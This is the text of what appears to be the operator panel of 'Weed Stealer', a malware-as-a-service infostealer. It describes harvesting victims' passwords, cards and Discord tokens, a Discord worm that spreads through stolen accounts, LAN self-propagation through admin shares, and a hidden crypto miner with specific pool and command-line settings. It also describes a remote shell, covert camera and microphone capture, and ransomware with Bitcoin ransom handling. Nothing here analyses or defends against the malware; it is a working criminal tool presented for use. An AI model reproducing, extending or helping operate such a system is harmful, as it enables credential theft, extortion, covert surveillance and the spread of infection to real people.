STEALER

Welcome to WEED STEALER

Lightweight, C++-native infostealer with automated worm propagation. Sign in to manage builds, hits, and notifications.

Weed Stealer
user

Dashboard

Panel status, counters and where the hits land.

Total hits
0
with archive: 0
Today
0
since midnight
Live connections
0
online
Mining
0
machines hashing

World map

0 locations · 0 hits
1.0×
-
-
-
-
no geolocated hits yet

Hit Details

-

Screenshot

-
screenshot
no screenshot in this archive

System information

-

Connection info

-

Discord tokens

0
UsernameDisplay nameEmailPhone NitroMFAVerifiedUser ID BadgesBillingAdmin serversToken

Discord intel

token → value
-

Autofills

saved form fields, per browser
-

Passwords

0
URLUsernamePasswordBrowserProfile

Cards

0
NameNumberExpiryCVVSource

Account

Operator of this session. The JWT token sits in this browser's localStorage - nothing more is stored here.

Operator

Username
-
Operator id
-
Role
-
Campaign
-
C2 public url
-
End this session

Clears the token from this browser and returns to login. Other devices stay logged in.

Webhook alert

Test the alert channel - it goes to the webhook saved in Notification.

Notification

Your own channels: Discord webhook and Telegram bot. Every account has its own - your hits don't go to someone else's channel.

Discord Webhook

Post to your channel when a new log lands from your build.

Telegram Bot

Fallback for archives when webhook is down. Your bot, your chat id - the token is never echoed back, only the mask.

C2 public url

Address the implant gets in the build. Empty = auto from request.

Discord Worm

Every token your hits brought back, used as a sender. One message, pushed through each account's direct messages. Scope is strictly your own builds - nobody's tokens but yours.

tokens 0 state off

1. The message

What every account sends. Plain text - Discord renders markdown, so a fenced block or a masked link works here too.

2. Tokens

Pulled from your own hits automatically - Discord/tokens.txt, the LevelDB and the intel blocks all feed the same list. Paste extras here when you have them from somewhere else.

from your hits
0
pasted
0

3. Run

valid tokens
0
dead this run
0
dead (cached)
0
messages sent
0
failed
0
DMs
0

Spread Network

The infected machine walks its own LAN: probes the neighbours, copies its image to the admin share and starts it there. The copy carries your campaign token, so a planted box checks in to this account.

machines 0

1. Machines

Online only, your own. One sweep per machine - a task queue entry is not a progress bar, the answer lands in section 2 when the sweep ends.

2. Results

hosts probed
0
live
0
planted
0
reached, not started
0

Crypto jacking

CPU miner baked into every new build. Coin picks the pool preset and the command-line dialect; the wallet is yours.

Miner

Runs in the background on the victim's CPU. Everything below is baked into the exe at build time.

pool dashboard: pearl.herominers.com · balances and the worker list below come straight from that pool's API

PRL: grig.exe (CUDA, 23 MB, build from corvusminer 3.4). Pool de.pearl.herominers.com:1200, plain stratum - TLS ports (1201, 3333) do not answer. Grig command line, checked against its own usage: -o host:port -u wallet -w worker -p x; -o wants host:port only, the worker goes separately through -w (or together: -u wallet.worker), and --gpu does not exist - grig is GPU-only and an unknown flag kills the process before the first packet. HeroMiners accepts mining.authorize only as an object {wallet,worker,password}, so a client sending an array gets code 20 and zero jobs. ZEPH: xmrig.exe. VRSC: verusminer.exe or hellminer.exe - the dialect changes with the coin. Governor: full intensity while the host sits idle, lower while someone works, paused while a watched process is running.

Pobierz grig.exe

Workers - live

no data
AccountOnlineMachinesMining now
WorkerAccountHostH/sValidInvalidLast shareStatus

reading the pool…

Worker log - live

no data

reading…

Miner log - live

no data

no miner log yet — press Request fresh

reading…

Build

C++ stealer compilation (native exe). Options below go into the build request.

this real file starts on the victim's machine - the implant rides along

File pumper +0 MB = 2 MB

After building, self-update is pushed to all online machines.

Logs

All hits from the server. Click a row to open hit details.

total 0
no webhook saved on this account - hits land in Logs only, nothing is sent to Discord. open Notify and save a webhook to get the cards.
visible 0 -

Hits

click row = details
ClientIP AddressEnvironmentStub VersionBrowserWalletsAppsTimeActions

Remote

Live view and commands on the live machine. Pick an agent - the rest goes through tasks.

idle
- -
pick an agent and press Screenshot or Live Start

GDI troll

effect on victim screen
seconds

Shell

-

Send file

File flies in one task up to ~12 MB, larger in 4 MB chunks.

Media live

Camera pulls frames one at a time. Mic is a live stream: the implant keeps the input device open and the browser schedules 100 ms chunks on the audio clock, no clip latency.

Remote ransomware

no job
BTC
hours minutes countdown: -
0 files

The key stays on the server. "Mark paid" flips the public note to paid and pushes the key back down; the implant decrypts on its own even if the note window was closed.

Discord Injection

Client tokens, web and login sessions. Scan runs every 3 min, login and password change go to webhook immediately.

total 0 new 0
TypeContentDetailsPathTime

Socials

Where the panel lives outside this box. Updates, restocks and support go out on both channels first.